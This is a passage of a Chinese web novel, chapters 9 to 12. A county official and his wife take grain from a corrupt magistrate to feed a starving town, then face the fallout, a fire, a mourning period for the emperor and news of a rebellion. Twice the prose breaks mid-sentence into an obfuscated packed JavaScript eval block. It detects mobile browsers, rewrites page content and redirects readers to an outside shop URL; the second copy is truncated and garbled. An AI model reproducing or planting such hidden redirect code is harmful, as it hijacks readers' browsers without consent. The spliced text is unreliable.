待到天色渐晚时,最后一家的老妪牵着小孩千恩万谢地抬走余下的几斤粮食,姚复用手肘捅了捅司空谷:“我听说县令家有个粮仓?” “嗯。”司空谷又在那个小本子上写写画画,头也不抬地说,“里面大概有几千斤粮食,都是这几年囤下来的……他除了克扣我的禄米,买断农户的粮食,有时也会强行征收。” “行。”姚复若有所思。 那粮仓不大,也没几个人把守——可能是县令太自信,也可能是人手真的不够。修的倒是隐蔽,可惜县令真把司空谷当军爷了,什么事都推心置腹的往外说。这倒也便利了姚复。当天晚上他就把能叫来的所有人都叫来了,把那粮仓的粮食搬走了大半,剩下几百斤供县令全家几十口过冬。 第二天一大早,司空谷就挨家挨户通知了家里有男人的,这些家庭食量远比只有老幼妇人的家庭大,需要的粮食也多,几个人忙了一天算是解决了全城人口的生计问题。也不知这么大张旗鼓有没有引起县令的注意。 “呵。”应瑕冷笑一声,“他只会觉得是我爹给你供的粮。” 司空谷揉着酸痛的胳膊,说:“县令都是等每个月家里余粮不够了才开仓取出一点粮食。你没见那些压仓底的好多都发霉了?” 发霉的大约有百来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207079|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斤,大家心照不宣的把那些不能吃的留在了仓库里。大家也没丧尽天良到把好的和坏的放在一起,甚至贴心的分开了老远。 新涂舒展着筋骨:“他就是发现了也不敢说你什么,怕啥!” 也是。就算姚复官职比他低,资历比他年轻,县令背景没应瑕背景大啊。况且现下姚复的名誉也基本上树立起来了,相较于一个剥削民脂民膏的贪官,显得爱民如子的清官会更受民众拥护。 “乐民之乐者,民亦乐其乐;忧民之忧者,民亦忧其忧。”司空谷抛下一句话,就飘飘然回去休息了。 这家伙大概真是个神棍,年纪轻轻就弄出了一股子仙风道骨的味道来。 一连过了将近一个月,也没见着县令来找事,姚复便也渐渐忘了此事。冬月过半的时候,应瑕非要和张娘子一起去弄果脯去,说是要熬腊八粥——大小姐大概不知道腊八粥拿什么做的,他们手里也没足够的豆子和干果,拿那些什么苹果梨的果脯配着蔬菜一起熬只会熬出来一锅不伦不类的蔬菜水果粥。 姚复给应瑕解释过多次,奈何人家不听。 所谓“天不言而四时行,地不语而百物生”,随她去好了。不过谁知道新涂也跟着一起闹呢。无奈之下姚复便也老老实实帮工去了。 进了腊月,街上虽说还是惨惨淡淡一片,但家家户户都拿着仅有的红布装点门面,哪家人纸扎手艺好还能挂个没有蜡烛的灯笼充充样子,也算是平添了几分喜气。当衣食不愁的时候大家才能分出精力庆贺节日。 到了腊八当天,应瑕竟还想自己下厨,得亏被张娘子拉住了—— 到了晚上,所有人都五味杂陈地喝上了口感奇怪的水果蔬菜粥,看着是怪了点,但挺甜的。 “好喝吗?”应瑕捧着一碗粥,却不急着喝,只是坐在炉子前面,带着淡淡的笑意问在座所有人。 “好喝、当然好喝!”姚复首当其冲回答,他的粥喝了大半,砰一下把碗放在桌上,信誓旦旦保证,同时不动声色地剜了一眼新涂,生怕他瞎说话。 新涂觉得自己衣服穿少了,暗自往炉子边靠了靠,紧了紧衣服,说道:“嫂子的手艺可是一绝!” 心中却暗自咒骂这天气,决定明天多穿些衣服。 司空谷也被莫名其妙叫了过来一起吃饭,却跟僵尸人一样,一口一口喝着粥,也不做评价。姚复怀疑他完全喝不出来什么味道。 应瑕听了两人的评价,挑了挑眉,没说话,端起碗来自己喝了一口。屋里的气氛瞬间有些微妙。 桥虹连忙端上来两坛酒:“嗳,我跟娘子学着新酿了两坛酒,大家尝尝?” 酒是谁酿的不重要,反正有了酒气氛是热络了起来。 大家喝的正起劲,扫把星就来了。 一个衣着单薄,作家丁打扮的人闯进了张娘子的酒馆。 今日不开张,大门也紧闭着,只有他们几个关系好的在这儿吃饭——解臻也收到了邀请,只是忙着家里的事,也没出席,张娘子想着留个门,待会儿给解夫人他们送去点酒暖身子,便也没栓大门。这也方便了那家丁直接推门进来。 屋里人一个比一个裹得厚实,银杏和嫩杨更是跟汤圆一样,只有应瑕嫌热脱了外袍。那家丁冻的满脸通红,还只穿着秋装,一看就过的不好,偏偏气质一点不输——这人满脸傲气地大步走到姚复面前,说:“姚大人,我们老爷与你无冤无仇,凭什么偷我家粮草?” 应瑕皱着眉头,摔了筷子,那家丁对上她的目光,吓得两腿一软——随后应瑕从容的拿起桌上的筷子,淡淡说:“手滑。” 姚复才不管应瑕怎么对外人,反正正高兴的时候见着晦气谁都不高兴。姚复站起身来,抱胸看着那家丁:“要说我偷粮草,叫你家老爷亲自来见我。来的时候记得叫他带上证据。空口白牙说我偷东西,我可不认。” 家丁耳朵听着姚复说话,眼睛却看着应瑕旁边的炉子,一时也没回答。 “喂,你听没听见!”姚复皱着眉看着那家丁。 家丁恨恨出了一口气,忽然往前一步,抢走了司空谷面前放着的手炉——这玩意是桥虹不知道从哪捞出来的,说是有几个年头了,不知道还能用不能,便点了小火放在桌上取暖。事实证明这东西能用,就是得控制火候,不然容易走水。 这人似乎怕主人出来追,揣着那炉子就拔腿跑了,进了县令家的大院,把那小炉子放在了一棵枯树底下才去通报。 过了一会儿,县令果然找了过来—— 10. 第10章 县老爷瞪着他那一双三角眼就要像姚复兴师问罪,见着屋里人多气势弱了三分,定睛一看,应瑕也坐在那,这气焰登时就消了个七七八八,最终只强撑着威风问:“姚县丞啊,我家粮食丢了这么多,你可知情啊?” 姚复惯会见风使舵,县令面前对方气场强他也强,气场弱他更强。姚复双手叉着腰,摆出一副理直气壮的样子:“你家粮食我怎么知道?保不齐就是山上的狐狸黄鼠狼偷的。” 要说是老鼠县令可能还信,可狐狸黄鼠狼哪里会吃五谷杂粮?何况为了给他女儿做大衣,山上的狐狸和黄鼠狼他早就设了陷阱捕杀殆尽了。 “可我家有家丁见过姚县丞在粮仓附近出没啊——”县令拉长了声音说道。 其实他也不知道到底是不是姚复偷的,只听说前些日子姚复给全城民众发了粮食,虽有怀疑却也没证据,只当他老丈人给的多。可现在他自家粮食丢了,这帽子就得扣在姚复头上,好从他手里讹出几百斤酿酒用的粮食。 “那把人证带上来啊。”姚复满不在乎地挑挑眉,拍了拍桥虹,和张娘子换了个位置,坐在了应瑕身边。 那天带了不少人,细胳膊细腿的解斛珠也闹着要去,解臻不让她搬东西,便让她躲在一边盯梢,防止被人发现。 小姑娘还顺了根手腕粗的棍子,后来还跟她哥炫耀见到有人过来就一闷棍敲晕——她身材小,穿的又是暗色,猫在暗处几乎没人发觉,一敲一个准,虽然一晚上也就敲到一个。 所以姚复是万万不怕什么人证的,事后他们还特意检查了现场有没有什么落下个人物品。相当于人证物证俱不在。 县令瞪圆眼睛,似乎没想到这一出——五六年前那几个县丞也都被讹过粮食,每次县令用同样的说辞出来,这些人都会被吓得百口莫辩。后来县丞一个一个辞官走了,三年前司空谷上任后他还想故技重施,可惜司空谷是个聪明人,不仅聪明还油盐不进,家里甚至连一粒米的余粮都没有。 好在县令棋高一着,早有准备,当即拍拍手:“好,好。本官最是讲究证据——人证上来。” 走进来的是另一个衣着单薄的家丁。这人也不顾忌应瑕家大势大,上来就指着姚复骂:“我那天都看见了!就是你,你大半夜的翻进老爷的粮仓,运走了大半粮食!你是没吃过好东西么!连不值钱的稻米都要偷?!” 姚复无声笑了出来:“你是说我单枪匹马偷走了千斤粮食?” 县令脸色涨红,赶忙踩了家丁一脚,家丁眼珠子一转,改口道:“不,不……我记错了。你还带着他、他、还有她!” 家丁激动地指了一圈,手指依次划过新涂、桥虹,以及看着最为圆润健壮的银杏。 指到的的都去了,可没指到的也去了啊。 几个人相视一眼,默契地没有笑出来。 “那你说说我们什么时辰偷的?”姚复好整以暇地继续问。 家丁支支吾吾地编不出来,只得扭头看自家主子,县令恶狠狠瞪了他一眼,随后转过了身。家丁只能硬着头皮说:“子、子时三刻,你们就开始搬了,足足搬了三个时辰……” 本来想诈一诈姚复的,这下子却叫他反客为主了,说个话跟审犯人一样,这样下去能讹到粮食吗。 “哈哈。”不知道谁率先笑了出来,反正姚复没看见谁有异常动作。 姚复微微弯起眼睛,笑着说:“错了,我们亥时就去了,搬到了丑时。” 县令猛然转过身,怒视着姚复,整张脸气的通红:“你、你为什么偷我的粮!难道应家给你的不够吃吗!” 姚复放下筷子,撑着头说:“哪儿的话,俗话说嫁出去的女儿泼出去的水,老泰山根本没给我们粮食啊。况且现在粮食那么贵——” 应瑕出嫁时从家里顺走了几百两银子,光是去乡下买粮食就花掉了十几两。好在这年头啥都贵,但金银更贵,一两银子能兑三千文钱呢。 如果是在开明盛世,买两千斤粮食也只用一两银子而已。 “缉拿偷盗是你的本分,你带头为非作歹不好吧!”县令顺了顺气,继续问责。 “哈哈。”姚复笑了两声,“我这怎么算偷盗呢,这个叫劫富济贫。况且缉捕也不是我的职责啊,是你的。” 县令一听这话哪里不明白,姚复这是把从自己家拿的粮食送去赈灾了!他就说姚复哪来那么多粮去救助贫民!合着是借花献佛啊! “那,那你家总有余粮——”县令抱着最后一丝希望,“都是当官的,我知道你安的什么心思——把那些粮食赔给我,这事就算完了,否则当心我到圣上面前参你一本,告发你们谋逆!” 应瑕有些不耐烦了:“你觉得你有资格见到圣上吗?就算有,你觉得圣上信你一个年年考绩不过关的八品小官还是日夜相处的贵妃?” 姚复小声提醒:“是七品小官。” 应瑕点点头,摔了筷子站起身来,对县令说:“你要搜就滚去搜,我家没有半粒粮食。” 说完就负气走了。应瑕大约不喜欢跟这些人面兽心的家伙扯那些弯弯绕绕,一两句倒还好,扯的多了就会生气。姚复也站起身来,对县令说:“你宁可拿着粮食酿酒喝,也不肯开仓赈济灾民,要真闹到定州知州那你看看是谁在理。” 阳城和启封同属定州,而启封是定州的首府。启封能在这强弩之末的王朝中开出一朵繁花有一半都是知州的功劳。 底层官员出了矛盾,会优先交给上一级的州府处理。定州知州治理地方是一把好手,就是贪财又护短,县令一没应家财力雄厚,二不是启封人,三也不占理,闹到上一级实在不好看。 方才提出皇帝不过是县令的常用手段,就是用来恐吓姚复的,谁知道他是个硬茬。 这夫妻俩接二连三恫吓他,大有把事情闹大的心思,县令无论如何也不敢多说什么,偷粮草只是小事,要是把他贪污受贿贩卖人口草菅人命克扣下属俸禄的事都捅出来,那他的仕途也到头了。 姚复说罢也就步履匆匆走了,这下两个主要当事人离了席,县令这个事主也不能说什么了,只愤愤瞪了还在吃东西的司空谷的背影一眼,便带着自己的人离开了。从他进来这小子就一直装死,也不知道安了什么心。 他干过什么事司空谷一清二楚,如今这小子显然是跟姚复站了一队,当真是养不熟!之前也给过他不少好处吧? 不敢追究粮草的事,不代表县令不会出手报复。 还没等他憋出什么坏招,才过了三天,他家的房子就失了火,由于事发在夜里,救火也不及时,县令的大儿子小女儿不幸殒命,娇妻美妾婢女家丁殒命不计其数,那些个雕梁画柱也都烧成了渣渣。 唯一的好消息就是地上积了雪,没连累到别的房子。 火是晚上失的,消息是上午传出来的,姚复是下午到场清点损失的。 县令大老爷五六十岁了,跟个孩子一样无助地坐在地上,看着自己苦心耕耘多年的成果毁于一旦,他后边的几个小妾抱着孩子哭成一团,跑出来的婢女家丁认为这棵大树倒了,都早作鸟兽散了。 “看看,报应来了吧。”姚复踢了踢地上烧焦的一段残木,“天天就你给我没事找事。” 那些各回各家的家丁也算劳动力,姚复花了几两银子又把他们叫了回来,勉强把底下的尸首挖了出来,又好心帮县令找到了早就融化成铜水又凝固的万贯家财,还有一大坨化在一起难舍难分的金银块。 “啧啧啧。”家丁掀着那断裂的梁子,姚复看着钱库里的景象啧啧称奇,“这多少钱都没了啊。真可惜啊。” 司空谷也把头伸过来,往本子上记了两笔,就又去清点死者了。 “节哀顺变。”姚复拍拍县令的肩膀,“钱这东西生不带来,死不带去。看开点。要是我家失火了肯定不会像你这么伤心,因为我家没钱,也没几个人。” 忙活了半天,现场的事也都办的差不多了,接下来就得给这倒霉的一大家子安排住处和衣服了。县令还不算太蠢,粮仓跟宅子不在同一处,里头剩的粮够他全家吃几个月了。 司空谷站在门口,问姚复:“叫他们住哪?” 姚复耸耸肩:“住县衙呗,还能住哪。那地方也没人去。先说好,我家不是垃圾站,不会让人随随便便住进来的。” 司空谷点点头:“衣服……隔日我问问百姓也没有愿意捐的。” 马上就开春了,一人一套棉服也就差不多了,他每个月还发俸禄。不过拿到足够的衣服也够呛。 姚复眯着眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这事安排的也算妥当,到了第二年开春,县令的新宅子造好了,解臻也在自己家开了三分薄地,用过冬时领走剩下的余粮做种子种了些麦子,好叫自家人到今年冬天也有余粮吃;张娘子的酒馆也是越开越好,桥虹还在读书,冬天时过不去的许多人家都开铺子做起了生意,好多赚些钱,到时候好买粮食。 街上的男人和小孩也都多了起来。这座城沉睡的生机在祥和九年的春日终于缓缓苏醒了,希望像初春的野草一样,肆无忌惮地生长。 到了五月的时候,街上已经有卖马匹的胡商了——这年头胡商是真少,北边的匈奴和大梁交恶,西域许多小国的商人被加了税,都不敢来做生意。 姚复觉得稀奇,打算花一些银子买几匹回来,可那商人奇怪的很,不收银子,反而用蹩脚的汉话给姚复要丝绸。正巧解斛珠学了缫丝织布,解夫人便送了几匹过来。 胡商帮姚复牵着三匹马进门的时候,坐在门口啃鸡腿的银杏差点没被自己的口水呛死。嫩杨帮银杏顺了顺气,扭头叫了应瑕出来。应瑕一见着那三匹马就皱起眉头:“你买这些马做什么?” 姚复笑着上前拉住应瑕,试图拉着她仔细看看那些马匹,可惜后者一脸嫌弃,死活不愿意上前。 胡商的马看样子是长途跋涉,身上脏兮兮的,散发着一股奇怪的味道,也难怪应瑕嫌弃。 姚复见拉不动她,也只好作罢,笑着解释:“马匹可是稀罕物,有了马,咱们可以一起骑马游街,纵马奔驰……” 朝廷连年征战,马匹都被征走上了战场,民间见着马的地方不多,要么是高门大户,要么就是新涂那样一匹马传三代的车夫。 应瑕揉揉眉心:“那你买三匹几个意思?新涂不是有一匹马?” 其实胡商带了四匹马,但他坚决最多卖三匹,因为他要留一匹骑着回家,貌似是他的骆驼半路上死掉了,只能骑马回家了。 “他那匹老了。”姚复微笑着说,“再者他是我兄弟。” 新涂做了这么多,连马都不给他买实在是叫姚复过意不去。不过西院那边有个马厩,应当能住下四匹马。 “算了,你随意吧。”应瑕把长发往脑后捋了捋,“洗干净之前别往正院里放。” 这宅子有三个院,正院,东院,西院,应瑕作为家主,和她的赘婿住在正院,新涂没置办房产,也没官职,名义上作为门客,住在东院,而嫩杨和银杏两人住在西院。马厩也被盖在了西院,因为理论上照顾马匹是下人该做的,因此新涂提了好几次要换到西院去,都被应瑕以“不合礼法”驳回了。 11. 第11章 那马儿确是长途跋涉了,新涂洗马洗了一天,才勉强洗干净。洗干净之后才发现其中一匹马不是灰色,是白的。 “姚兄,你弄这西域来的胡马是不错,就是你会骑吗?”新涂坐在院子里,手里掰着一只桃子,怀疑地问姚复。 姚复随手从桌上的果盘里拿出一只桃啃着:“不怎么会。但这不妨碍我和她出去骑马游街吧。骑慢点不就好了。” 新涂拿脚趾头都能想出来“她”是谁,心底默默翻了个白眼,口中还是说:“骑慢点也没用啊,马这玩意儿,认人。你会不会骑它一看就知道……” “嘶……”姚复停下了咬桃的动作,剩下那一半随着小臂垂在桌上,它的主人若有所思地问:“欸,那你会骑吗?” 车夫都会驭马,会不会骑可难说。 “这我当然会——”新涂骄傲地拍着胸脯,“当年我可就是拍马疾驰才救下——” 话说了一半,新涂才意识到自己不经意间流露出了什么,连忙一脸惊恐地捂住嘴。 姚复整张脸猛然凑近,满脸好奇地问:“救下谁?赤玉?” 是那个赤玉吧?那个赤玉是哪家姑娘?他怎么不知道新涂什么时候救下了个红颜知己呢? 还当年,新涂跟他一样大,不过二十出头,怎么用这么老气横秋的词儿? 新涂连连摆手,示意自己不说了,姚复正待继续询问,背后忽然传来“噼啪”一声脆响,姚复疑惑地转过头去,方才看见应瑕黑着脸站在门口,一只手呈拳状握在胸前,滴滴答答往下流着血,地上则躺了一地碎瓷。 新涂赶忙起身:“我刚刚说岔嘴了,子季你也别放心上。” 还没等姚复说话,新涂就忙不迭走掉了。这不是欲盖弥彰是什么。姚复心想。 这还是姚复头一次见应瑕这副样子,不过似乎不是冲着他发火,这冲天的怒气似乎是向着新涂去的——姚复觉得这俩人有什么东西瞒着自己,比方说那个赤玉,或许就是某个跟应瑕关系密切的女子? 应瑕随意甩甩手,快步走下来,一把拽住姚复的胳膊,强把他拉了起来,往门外拖去。姚复吓了一跳,手里的桃儿都落在了地上。 姚复受宠若惊,一边踉跄着努力平稳身形,一边问应瑕:“不是?这要干啥去?怎么突然这么生气……” 应瑕不答话,随便把他丢在门口,自己又回去了,过了一会儿便牵了两匹马出来。 姚复还没反应过来,只疑惑地看着应瑕——有那么一瞬间他害怕应瑕是要把自己和这两匹马一起扫地出门。 “你不是想跑马吗。”应瑕微微抬着头,瞇目看着姚复,大有睥睨苍生的气场。 姚复愈发摸不着头脑,只得迷惑地回答:“是、是啊……” “那还不走。”应瑕把那匹枣红马的缰绳塞进姚复手里,自己利落地翻身上了另一匹白马。 姚复无言地仰视应瑕,随后绕到马匹侧面,试图找好角度上马去。作为一个小地主家的儿子,孔门的传人,自然得学礼射乐御书数,只是学的不到家,条件限制也大,姚复上次骑马还是七八年前学的时候,马还是租来的,过了这么长时间,骑马的技巧也忘了个七七八八。 应瑕看着姚复站在那看着马鞍,就是迟迟不上,策马往前走了两步,伸出脚往姚复腰侧踹了一下:“磨磨唧唧干什么,快上。” 姚复也不再迟疑,一脚踩上马镫,翻身上了马。 这新做的木马鞍实在不怎么舒服。可整条街会做马鞍的也就一家木匠铺子。 应瑕见他上马,一勒缰绳,策马立时飞奔上了街,姚复登时傻了眼,也只能在后头一边慢慢往前追一边喊:“喂!喂!你倒是等等我啊?!” 没了繁杂的徭役,街上生意人也多了起来,比起去年姚复刚来时的景象几乎是翻天覆地,不过到底也比不上启封的车水马龙,纵马疾驰也是不怕伤到人的。 应瑕往前跑出了几里远,才想起来自己那个夫君似乎不怎么会骑马,方才慢悠悠调转马头往回找。好在姚复也是够聪明,忘掉的东西也都差不多捡起来了,应瑕刚往回走了不到一里路,就见着了那匹奔腾的马。 姚复见着应瑕,连忙放缓了速度,驱马到应瑕身边,脸上丝毫没有怨怼或是愤懑,只是笑着说:“我真看不出来你还会骑马。启封的那些闺阁女子都是待在绣楼里读诗词,或学些女红、插花……” 或许是方才跑的太快,姚复的发冠已经歪了,还有几缕没扎好的头发跑了出来,显得极为缭乱。 应瑕抿了抿唇,没说话,姚复方举目四顾,才恍然发现他们追到了什么地方:“嚯,这都快出城了啊。你这技术还真是一绝。” 抬眼就能看见远处一节青灰色的城墙,地上也都是长着苔藓的青石板,周围也是人烟稀少。 “这边人不多。”应瑕忽然说,“我父亲突然来信,说有了应琼的踪迹……我妹妹叫应琼。” “嗯……”姚复沉吟一会儿,“那你怎么那么生气。” 应瑕沉默了一下,抬头看向远方的城门,才说:“她小字叫赤玉。我父亲最新找到的线索是——她在阖闾城。” 姚复顿时感觉头皮一炸,阖闾城离启封能有十万八千里。而新涂和他几乎是一同长大,姚复确信他从未离开过启封城——那他救下的应琼是什么?姚复不信那些什么鬼神灵怪的说法,可是若不是山野精怪,又该如何解释? 应瑕沉重开口:“我怀疑启封那边可能有……” 据说越是位高权重者越是相信这些子虚乌有的说法,姚复从前只当是上位者心虚,如今却什么也不好说了,尤其是从应瑕口中说出来。如果启封真有妖物,那自称是亓官卿的少年……? 姚复几乎不敢细想,但还是故作镇定地说:“怎么可能。五年时间呢,妹妹怎么辗转也都合情合理。” “保险起见,尽快修书,让舅姑从启封搬走。”应瑕淡淡说。 舅姑是对公婆的称呼,可姚复家里只剩几个大男人,几个哥哥都没成婚,家中没什么女眷,倒也不必担忧。况且姚老头根本不信什么鬼神之说,就算修书送了过去,姚老头怕也会觉得他是疯言疯语。 姚复叹了口气:“再说吧。我们先回去吧。” 姚复调转马头,准备回去跟新涂商量商量,却没见应瑕唇边扬起一抹微不可查的笑容,但很快就又收了起来。 “先等等。”应瑕喊住姚复,后者停下来,疑惑回头,却见从城门处行来一队车马,所有人都穿着丧服,举着白幡,一边往城里走,一边大声喊:“大行皇帝殡天啦!” 姚复两人连忙挪身让道,看着那浩浩荡荡的车队过去——大梁的皇陵不在长安,反而根据一个什么风水大师的意见安在启封东边的一个小城里,因此阳城在皇帝尸体入陵的必经之路上,这也意味着过不了几天,皇帝的尸体就会由浩浩荡荡的仪仗队和陪葬队伍往东边运去,今日来的不过是打头阵提醒官吏清街的。 “呸,晦气。”等那队人马走尽之后,姚复往地上啐了一口,“死的真不是时候。” 人们得到休养生息还不到半年呢,就又要守国丧修皇陵,又不准祭祀又不准嫁娶,真是活着不安生,死了也要祸祸人。 “怪不得启封有精怪。”姚复看着那车队,又说了一句,这才作罢拍马回家去了。 任谁也受不了跟一群皇帝住在一起,尤其是新来了个烂人。早听闻万物有灵,怕是山上的狐狸兔子早早预见了这个暴虐之主要到来,便成了妖物下山另谋出路去了。 皇帝的死讯传来不过几个时辰,城里就挂上了一片缟素,按照礼法远京居民只需在城里白布挂满二十七日,百日不得进行嫁娶祭祀。关键是阳城现在是一副大病初愈的样子,如果没有嫁娶之事,今年人口怕是没法恢复了。 不过皇帝死了是件好事。要不是律法限制,大家恨不得在门口挂上红灯笼提前过年,五天里姚复见着张娘子情不自禁掩唇笑了十几次,街上的人大多也总爱莫名其妙笑起来,旋即又捂住嘴唇咳嗽两声,装作无事发生。 谁让那个县令突然就勤奋起来了,每天都要上街抓人,看有没有谁做出了违背国丧规定的事,好像先皇是他亲爹一样。 县令要求大家严 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嫩杨小心的把门拉开一条缝,还没看清外面的是谁,就有一股巨力踹开了木门,嫩杨痛呼一声,跌坐在地上,银杏吓了一跳,手臂立时做出了反应,一棍子敲在了门外人的肩膀上。 那人立时啊啊呻吟起来,银杏丢了棍子,赶紧把嫩杨扶起来,一眼见着外面那个是凶神恶煞的干巴老头子,马上扯着嗓子喊起来:“公子!夫人!有人闹事啊——” 不喊还好,一嗓子喊下去,周围的街坊都探了头出来,还有人手上拿着锄头一类的工具。姚复一边往身上套外袍一边往外跑,见着门口的县令登时冷笑一声:“我道是谁呢,原来是县大老爷啊。” 这老小子就是一头恶狼,冬日时姚复虽说没叫他住在自家,却也真真实实的送了物资接济,一开春照样跟他对着干。当初还不如直接饿死他呢。 “哼,”老头揉着肩膀,冷哼一声,“我告诉你,先帝殡天了,太妃可在新朝廷里说不上话,老子可是现在想治你就治你了——” 姚复差点笑出来:“那怎么了,你去跟知州说呗。” 县令一愣,随即表情更为狰狞地威胁:“等新皇登基了,你信不信我送你去修皇陵?” 这事确实是县令管的。修皇陵确实是力气活,不少人没被随葬,反而是累死的,要是逃了还会被砍头,听着确实吓人。可在姚复眼里这也算不上威胁啊。 姚复一脸莫名其妙:“修就修呗,死了还能落叶归根,也不错啊。况且离启封那么近,我还能去看看家人……” “不对,你不是把这些活儿交给我了?你要收回去啊?我告诉你,这不可能,别想了。”很快他又想到了什么,脸上浮现出浓重的警惕。 县令一拳打在棉花上,有劲也使不出,弄的脸色发绿,最终憋出一句:“你、你等着!太妃失势了,应家也好不到哪去,你们……得意不了太久!” 说着就一甩袖子走了。合着姚复他们也没仗着应家得意过啊,家里照样揭不开锅,过的跟孙子一样,应瑕连根银发簪都舍不得买。 “啧啧啧,莫欺老年穷啊。”新涂不知道在那嗑瓜子磕多久了,见着那老头跑掉脱口就是一句。 这老头可能真是老糊涂了,天天跟有什么毛病一样。 “你怎么看。”应瑕从屋里探出头,遥遥问道。 姚复头也不回,耸耸肩道:“他叫我等着,那我就等着呗,还能怎么办。” 县令的报复也没等到,倒是等到老丈人的信了,说来也奇怪,姚老头这一年一封信也没给他写过,姚复写的家书大多也是石沉大海,只有最近的一封有了个音儿:“勿念,一切安好。” 应摇光写的信倒是一封接一封,虽说都是些空话。 接到信时已经过了小半个月,当时正是黄昏。姚复接到应摇光的信总是拉着应瑕一起看,两人一同坐在昏暗的烛光下,姚复缓缓拆开那封泥,把里头薄薄的纸张拿出来。这封信实在言简意赅,写的只有一个意思—— 会稽屈郢反,切随之。 12. 第12章 应摇光留下这么一句话实在叫人徒生恐惧,姚复看完之后面色倒也如常,只是将那信纸凑近了烛光,须臾之后便只剩了一缕青烟飘散。 守孝二十七日后太子就临朝称了帝,不过是登基大典还没办。现下新帝还没什么动作,朝中和地方形式都稳如泰山,现在这个时候造反讨不到好果子吃。尤其是阳城离长安不远,而河南河北都有精兵驻守,尤其是启封。 那个屈郢姚复没听说过,不过他在会稽造反倒是天高皇帝远,一时朝廷也是鞭长莫及。他现在还未曾从街坊里听说过有谁造反,想必那屈郢还没掀起多大风浪。而应摇光得了应琼的消息,这些日子在阖闾城,离会稽那样近,消息也应当传的快一些,听说过也不足为奇。 可这信件送到他手里少说也得十天半个月,十几日来那屈郢势力的威风也没传到西边来,大概已经归于沉寂了。 应瑕挥手拍散了那一缕烟尘,脸色在烛光下晦暗不明。两人一同盯着那烛光,良久沉默无言,最终应瑕猝然开口:“你怎么打算。” 姚复呼出一口气,惹的烛火微微一晃,又是一阵沉默,应瑕双手交扣,手肘撑在桌上,下巴托在手上,也出神地看着雕着简陋花纹的铜制烛托。 “再观望观望吧。”姚复又叹了一口气,站起身来拂袖离开了。 这便是不想反了。 应瑕笑了一下,吹灭烛火。 如果不是走投无路,谁不想安安生生过日子,偏要做那些脑袋别在裤腰带上,腥风血雨里谋生活的勾当? 俗话说置之死地而后生,陷之亡地而后存,自然会有人为某个飘摇的想法添薪加火。应瑕站起身来,退坐到床上,看着洒落在地上的月光,缓缓仰躺下去。 正戏快开始了。 国丧的一年格外平静。只是到了年末,忽然传来了会稽那个屈郢占山称王,率兵攻陷扬、江二州,定都于建康,还自立政权,国号定为“楚”。 这些日子那个屈郢的事迹传的沸沸扬扬,传闻中他战无不败,扬、江、杭三州的官兵前去剿匪,大大小小的战役打了不下百回,竟无一次获胜,甚至有不少官兵倒戈。民间传的是这些人都折服于楚王的神威之下了—— 一时间屈郢战无不败神兵降世的佳话传的到处都是,这将近过年的姚复还见了不少把他制成年画出去售卖的。 “有什么说法吗?”偶然一次谈起屈郢,姚复更好奇的还是他的国号,不由询问。 彼时已经将近年关了,银杏弄了一地春联红烛,家里几个人在地上挑挑拣拣,好过年了贴上去。新涂没有什么文人雅趣,也不怎么讲究,随便拿了一套便回了自己院里,张罗着要贴上了。 应瑕停下手上拣蜡烛的活,半抬着脸摇摇头,表示自己不知,随后又抬眼看了一眼左脚跨进门槛准备说事的司空谷。 司空谷还是那一袭黑不拉几的奇怪套装,手里依然拿着那小本子,姚复知道他耳力不错,想必也听到了,便连重复也没有,只抬眸询问。 “……”司空谷一时有些无言,脚上四平八稳地跨过门槛,走到姚复面前:“屈郢单字楚,自称屈平之后,有归楚之意,扬言光复楚国,故而国号楚。也不排除……” 司空谷微顿了一下,脸上露出轻蔑的神色,随后接着说:“……不排除他只认识这一个字。我听说他除了自己的名字,十字不识一,不过是个空有匹夫之勇的莽夫。” 看得出来他没什么文化。屈郢的势力已经大到雄踞三州,只要西进拿下楚地,便能依天时凭地利北进中原,制霸天下。 可屈郢十一月底拿下了江州,若再要进军,消息也该传到阳城了,偏偏他的军队再无了动静,像是在养精蓄锐,又似乎是安于现状了——现在各州官兵几乎都是萎靡不振,屈郢的军队损耗也不多,只要乘胜追击即可一举制胜。 “唉,才刚安定下来多久啊,又要打仗。”姚复重重叹了口气。 没人希望战争,但时代需要硝烟。合久必分是天下大道,没有奋起反抗就不会有新的王朝。黄河看似古井无波,冬日的冰层却危如累卵,夏天的河床也暗流涌动,稍有不慎便会让渡河者死无葬身之地。 有时候,牺牲一部分人,去换大多数人的和平和一个更持久的盛世也许是值当的。 “别伤春悲秋了。”司空谷从袖子里掏出几页纸来,“皇帝新定了年号。天符元年二月皇陵就要动工,如今要提前征发民工到启封去,过了年就要出发……” 姚复皱起眉头,现在阳城一下子根本找不出来几百个壮年男子,就算是征发了民工,城里也会元气大伤。 若是不征发,捅到上面去可是掉脑袋的大罪。 把这种难题甩给姚复的只会是县令那个心眼比针口还小的老家伙。他自己视人命如草芥,却偏要姚复当这个恶人。 “这怎么办。”姚复有些丧气地说,“征走了百姓不好过,不征走我不好过。” 人非圣贤,本质都是自私的,怎么可能一点不为自己着想。姚复从不标榜自己是圣人,更不会朝着圣人的标准苛责自己。但他也是布衣出身,在乡下也见过大家过的多艰辛,忧心百姓却也是真的。 “不怎么办。”应瑕微微太这天气,不知道在想些什么,半天才说道,“我和你一起去,带上新涂。” 姚复嘴角抽了抽,没出言反驳。要换刚成婚那会儿他肯定不愿意应瑕跟着去,可这两年来应瑕一次又一次的让他改观——几个月前城里出了盗匪,县衙新招来的衙役和官吏,几十个大男人都没追上那飞毛腿,眼见着跟丢了,下午时分应瑕竟自己提着被捆成粽子的人押到了官府。 应瑕不仅有才学,还有魄力,若是个男子定然有好些姑娘求着嫁去的——这还是先帝没有女儿的情况。 “你这东西……”姚复站直身子,伸手指指司空谷手里拿的纸张,“能原路送回县令府上吗?” 